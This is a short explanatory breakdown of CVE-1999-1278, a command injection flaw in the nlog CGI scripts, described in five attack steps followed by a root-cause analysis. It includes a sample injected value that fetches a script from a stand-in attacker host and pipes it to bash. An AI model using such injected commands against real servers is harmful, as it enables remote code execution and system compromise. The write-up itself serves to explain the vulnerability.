CVE-1999-1278

Step 1: Payload Delivery: The attacker crafts a malicious URL targeting either nlog-smb.pl or rpc-nlog.pl on the vulnerable server. This URL includes a specially crafted IP address argument.

Step 2: Injection: The malicious IP address argument contains shell metacharacters and the commands the attacker wants to execute (e.g., ; whoami or ; wget http://attacker.com/malicious.sh | bash).

Step 3: Script Execution: The CGI script receives the malicious IP address and, due to the lack of proper sanitization, passes it to a system call (e.g., system(), exec(), or similar) without filtering the injected metacharacters.

Step 4: Command Execution: The operating system's shell interprets the injected metacharacters and executes the attacker's commands with the privileges of the web server user.

Step 5: Result: The attacker's commands are executed, potentially leading to remote code execution (RCE), data exfiltration, or complete system compromise.

The vulnerability stems from insufficient input validation in the nlog CGI scripts (nlog-smb.pl and rpc-nlog.pl). These scripts fail to properly sanitize the IP address argument passed to them. This allows an attacker to inject shell metacharacters (e.g., ;, |, &, $()) into the IP address, which are then executed by the underlying operating system's shell. The lack of proper input validation allows for command injection, enabling attackers to execute arbitrary commands with the privileges of the web server user. The root cause is a missing or inadequate input sanitization mechanism, allowing for the execution of attacker-controlled commands.